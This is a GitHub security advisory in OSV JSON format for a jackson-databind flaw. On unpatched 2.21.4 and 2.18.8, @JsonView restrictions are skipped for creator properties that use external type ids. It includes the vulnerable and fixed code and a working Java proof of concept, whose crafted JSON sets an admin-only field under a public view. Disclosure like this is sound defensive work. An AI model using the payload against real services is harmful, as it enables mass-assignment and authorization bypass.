GHSA-mhm7-754m-9p8w: jackson-databind `@JsonView` Bypass For Creator Properties Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mhm7-754m-9p8w",
  "modified" : "2026-07-21T19:40:12Z",
  "published" : "2026-07-21T19:40:12Z",
  "aliases" : [ ],
  "summary" : "jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`",
  "details" : "## Summary\n\nIn `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME,\n  include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active.\n\n  This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 (\"Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer\", commit 7dc7a17, 2026-05-22) but\n  **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path.\n\n## Vulnerable Code Path\n\nFile: `com/fasterxml/jackson/databind/deser/BeanDeserializer.java`\nMethod: `deserializeUsingPropertyBasedWithExternalTypeId`\n\nOn 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`:\n\n ```java\n  if (creatorProp != null) {\n      // [databind#1381]: if useInput=FALSE, skip deserialization from input\n      if (creatorProp.isInjectionOnly()) { ... }\n      // NO visibleInView(activeView) CHECK HERE\n      if (!ext.handlePropertyValue(p, ctxt, propName, null)) {\n          if (buffer.assignParameter(creatorProp, ...)) { ... }\n      }\n      continue;\n  }\n```\n\nOn 3.1.4, the same branch contains the additional guard (commit 7dc7a17):\n\n ```java\n   if (creatorProp != null) {\n      // [databind#5971]: must honor active view here too\n      if ((activeView != null) && !creatorProp.visibleInView(activeView)) {\n          p.skipChildren();\n          continue;\n      }\n      ...\n  }\n```\n\nThe 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005\n  with \"got changes merged forward, looks like it's all covered now\", but the forward-merge did not include the ExtTypeId creator branch.\n\n  Proof of Concept\n\n  Compiles and runs against jackson-databind 2.21.4:\n \n```java\n  import com.fasterxml.jackson.annotation.*;\n  import com.fasterxml.jackson.databind.ObjectMapper;\n\n  public class JsonViewExternalTypeIdBypass {\n      public static class PublicView {}\n      public static class AdminView extends PublicView {}\n\n      public static abstract class Asset { public String name; }\n      public static class PublicAsset extends Asset {}\n      public static class AdminAsset extends Asset { public String secret; }\n\n      public static class Container {\n          @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,\n                  include = JsonTypeInfo.As.EXTERNAL_PROPERTY,\n                  property = \"kind\")\n          @JsonSubTypes({\n              @JsonSubTypes.Type(value = PublicAsset.class, name = \"pub\"),\n              @JsonSubTypes.Type(value = AdminAsset.class,  name = \"admin\")\n          })\n          @JsonView(AdminView.class)\n          public Asset asset;\n\n          public String label;\n\n          @JsonCreator\n          public Container(\n                  @JsonProperty(\"label\") String label,\n                  @JsonProperty(\"asset\") @JsonView(AdminView.class) Asset asset) {\n              this.label = label;\n              this.asset = asset;\n          }\n      }\n\n      public static class Wrapper {\n          @JsonView(PublicView.class)\n          public Container data;\n      }\n\n      public static void main(String[] args) throws Exception {\n          // Admin-only \"asset\" should be blocked when reading with PublicView\n          String json = \"{\\\"data\\\":{\\\"label\\\":\\\"hello\\\",\\\"kind\\\":\\\"admin\\\",\"\n                      + \"\\\"asset\\\":{\\\"name\\\":\\\"foo\\\",\\\"secret\\\":\\\"LEAKED\\\"}}}\";\n\n          ObjectMapper om = new ObjectMapper();\n          Wrapper r = om.readerWithView(PublicView.class)\n                  .forType(Wrapper.class)\n                  .readValue(json);\n\n          System.out.println(r.data);\n          // Actual on 2.21.4:   Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}\n          // Expected (secure):  Container{label='hello', asset=null}\n          if (r.data.asset != null && r.data.asset instanceof AdminAsset) {\n              System.out.println(\"[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView\");\n          }\n      }\n  }\n```\n\nA control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId\n  code path and not a misconfiguration.\n\n### Impact\n\n  View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot\n  REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing\n  the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.\n\n- CWE-863 (Incorrect Authorization)\n- Same impact class as CVE-2026-54517 / CVE-2026-54518\n- No RCE, no DoS — this is an access-control / mass-assignment bypass\n\n### Trigger Conditions\n\nDeveloper code must combine (no opt-in user configuration required):\n\n1. Property-based @JsonCreator on the outer type\n2. A creator parameter annotated with @JsonView(RestrictedView.class)\n3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property=\"...\")",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-databind"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.18.0"
      }, {
        "fixed" : "2.18.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.18.8"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-databind"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.21.0"
      }, {
        "fixed" : "2.21.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.21.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-mhm7-754m-9p8w"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/commit/c628b357ed143d8492756d5c1458cfb9fbeb29ed"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/commit/dea7eb466e98cc226c4ac65587581fb49926820c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FasterXML/jackson-databind"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T19:40:12Z",
    "nvd_published_at" : null
  }
}